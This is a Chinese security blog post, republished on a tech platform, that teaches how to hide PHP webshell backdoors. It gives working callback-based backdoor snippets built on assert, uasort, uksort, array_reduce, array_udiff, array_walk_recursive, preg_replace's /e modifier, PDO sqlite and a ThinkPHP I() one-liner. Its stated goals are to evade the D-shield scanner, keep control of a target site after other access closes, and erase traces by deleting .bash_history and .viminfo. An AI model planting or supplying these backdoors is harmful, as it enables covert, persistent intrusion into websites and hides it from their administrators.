奇淫异巧之 PHP 后门

本文作者:Ph0rse(信安之路作者团队成员)

早上看了一位小伙伴在公众号发的文章《php 后门隐藏技巧》,写的挺好,其中有一些姿势是我之前没见到过了,学到很很多。同时,这篇文章也引发了自己的一点点思考:“ PHP 后门的关键点在哪里?”,也欢迎上篇文章的作者、其它小伙伴一起来讨论。

上篇文章中的很多姿势很巧妙,尤其在比赛的时候,可以重点关注一下。但部分姿势,类似不死马这种东西,是否是留后门的正确选择呢?

个人认为,后门的关键,在于“隐蔽”。而不死马这类后门的特点,其实是“顽固”。然而在系统最高权限的运维手里……顽固貌似没有太大用处,只要发现了,总有办法给你干掉。

而对于隐蔽来说,有以下几点要素:

  1. 熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏
  2. 清除痕迹,避免运维发现
  3. 避免后门特征值被 D 盾等工具检测到

就以上几点点,放出一些我收藏的技巧~其思路来源于各位师傅,尤其是 P神 的博客:

https://www.leavesongs.com/

姿势

一般过狗思路

最一般的绕狗、后门思路就是

call_user_func('assert', $_REQUEST['pass']);

直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行。

双参数回调后门

PHP5.4.8+ 版本中,assert 有一个新的可选参数 descrition。所以较于之前的 PHP 版本,我们可以使用一些新的方式去进行调用,这些新的方式也暂时还没有添加到D盾的特征匹配中。

Talk is cheap show me the code~

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

$_REQUEST['e'] 的话,传递 GET 或者 POST 参数都可以。

uasort 函数在手册里这样定义:

如果我们传入的比较函数是 assert 的话,就会产生代码执行。

先将参数保存为一个数组,传入 'assert' 的 base64 编码,使用 uasort 函数调用即可。

由此方法引申出的姿势有:<br>

一. 换为 uksort 函数:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

二. 面向对象的方法:

<?php
// way 0
$arr=newArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr=newArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

三. array_reduce

<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

四. array_udiff

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

三参数回调后门

上面的函数都是两个参数,然后回调指定函数的,下面还有3个参数的:

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');

这段代码的最终效果是回调名字为 $e 的函数,$arr 数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

有哪些函数是可以三个参数并且代码执行or命令执行的呢?

最最常见的:preg_replace 函数在 e 修饰符条件下可以进行命令执行,原理可以看这个文章:

http://0day5.com/archives/4016/

最后的效果为:

preg_replace('|.*|e', '你的命令', '');

但 preg_replace 并不能直接用,因为 D 盾会将它作为特征值去检测,我们可以换一些其它效果类似的函数:

mb_ereg_replace
preg_filter

sqlite 回调后门

如果可以使用 PDO 的话,可以用 sqlite 的 PDO 来执行代码

<?php
$db=newPDO('sqlite::memory:');
$st=$db->query("SELECT 'phpinfo()'");
$re=$st->frtch
?>

隐蔽性满满的~

反序列化后门

之前说了要适应环境,增强隐蔽性,所以可以根据目标代码,去添加一些恶意类,然后用反序列化漏洞来传递命令,并且可以通过捏造可信度比较高的的类名,在 index.php 中就直接引用,更不容易被发现。

传输过程中,还可以进行一些加密、混淆操作,来绕过waf端检测。

思路可参照,前一阵子 typecho 爆出的反序列化漏洞:

https://www.th1s.cn/index.php/2017/10/25/138.html

thinkphp 特征后门

thinkphp 的自带方法中,存在可以作为后门的 I 函数

具体代码逻辑比较复杂,有兴趣的同学可以移步P神的文章

https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

只要在可访问的地方,加上一行代码:

I('post.ph0rse','',I('get.i'));

就可以传递 GET 参数:i=assert, POST 参数 ph0rse=你的命令

并且可以远连菜刀~

同样,通过审计,在其它开源框架中其实也可以发现类似的留后门技巧。直接调用源类库里的方法,再稍微加一点混淆和加密,就很难被发现了。

后话

真正的后门,要靠系统层

对于 PHP 后门来说,如果能做到隐蔽性,不会被D盾等工具自动检测出来。人工查看时,一时半会儿也看不出有问题,其实就够了。

受限于运维的日志审查,通过 PHP 去进行后渗透不太现实,PHP 后门最大的意义在于,留有一个通道。等其它通道关闭或者网站迁移(总要移代码吧)时,能够维持对目标站的控制。

而真正的后渗透操作,还是要考系统层的其它技巧,比如 shift 后门,ssh 后门,注册表木马等等~这些都是后话了~

擦除痕迹

想要让后面隐蔽,除了以上几点,还要清理好文件操作的痕迹。在 Linux 下就是删除 .bash_history.viminfo 的记录,这些记录显示了你前段时间执行了哪些命令,修改了哪些文本。

而在 windows 下,就是在注册表中做一些操作~

上一篇文章突然激起了写作欲,但受限于时间,没能去一步一步截图。当然,这篇文章主要是想阐述思路,比如回调函数的妙用,PHP 后门应该是什么样~

文中介绍的姿势是我自己实战或者打比赛常用的,搜集而成,并非原创。但可以保证,这些姿势我都试过,复现起来是完全 OK 的~

跳出 PHP,讨论后面的话,就比较复杂了,从悄咪咪留后门,到秘密管理后门、窃听数据,再到清理痕迹~各种姿势,千方百怪,前几天还学到了利用微信客户端来留后门远控的~

那就是很长的一篇故事了

有机会再和大家分享吧~也希望能抛砖引玉,大家一起来聊一聊你所知道的,新奇的后门技巧

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-06-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏双十二技术哥

Android性能优化(十)之App瘦身攻略

如果你对App优化比较敏感,那么Apk安装包的大小就一定不会忽视。关于瘦身的原因,大概有以下几个方面:

16530
来自专栏架构之路

超清晰的makefile解释、编写与示例

Makefile范例教学 Makefile和GNU make可能是linux世界里最重要的档案跟指令了。编译一个小程式,可以用简单的command来进行编译;稍...

48080
来自专栏Golang语言社区

高并发服务器的设计--缓存的设计

为什么需要缓存呢? 很简单的道理,拿QQ做个比方,每天有几亿用户登录、查询个人信息,且这些信息基本不会变化,如果你是架构师,你会选择全部从数据库中查询么,估计会...

401100
来自专栏恰童鞋骚年

操作系统核心原理-3.进程原理(下):进程通信

进程作为人类的发明,自然也免不了脱离人类的习性,也有通信的需求。如果进程之间不进行任何通信,那么进程所能完成的任务就要大打折扣。人类的通信方式无外乎对白(通过...

11320
来自专栏铭毅天下

干货 |《从Lucene到Elasticsearch全文检索实战》拆解实践

1、题记 2018年3月初,萌生了一个想法:对Elasticsearch相关的技术书籍做拆解阅读,该想法源自非计算机领域红火已久的【樊登读书会】、得到的每天听本...

2.1K60
来自专栏我是攻城师

图形数据库之Neo4j学习(一)

43150
来自专栏申龙斌的程序人生

零基础学编程012:画出复利曲线图

通过学习《零基础学编程011:复利数据表问题》,我们已经可以输出365行的《复利数据表》: (1+0.01) ^ 1 = 1.01 (1+0.01) ^ 2 =...

51080
来自专栏塔奇克马敲代码

Windows平台下源码分析工具

23930
来自专栏我就是马云飞

RxJava2 实战知识梳理(2) - 计算一段时间内数据的平均值

前言 今天,我们继续跟着 RxJava-Android-Samples 的脚步,一起看一下RxJava2在实战当中的应用,在这个项目中,第二个的例子的描述如下:...

26160
来自专栏生信技能树

Anaconda is a snake.

conda这个东西,非常多人给我推荐过,即使是像我这样安装过上千款生物信息学软件的高手有时候也很痛苦各个软件的依赖关系,如果有省事的,我也比较乐意迁移我的习惯,...

17150

扫码关注云+社区

领取腾讯云代金券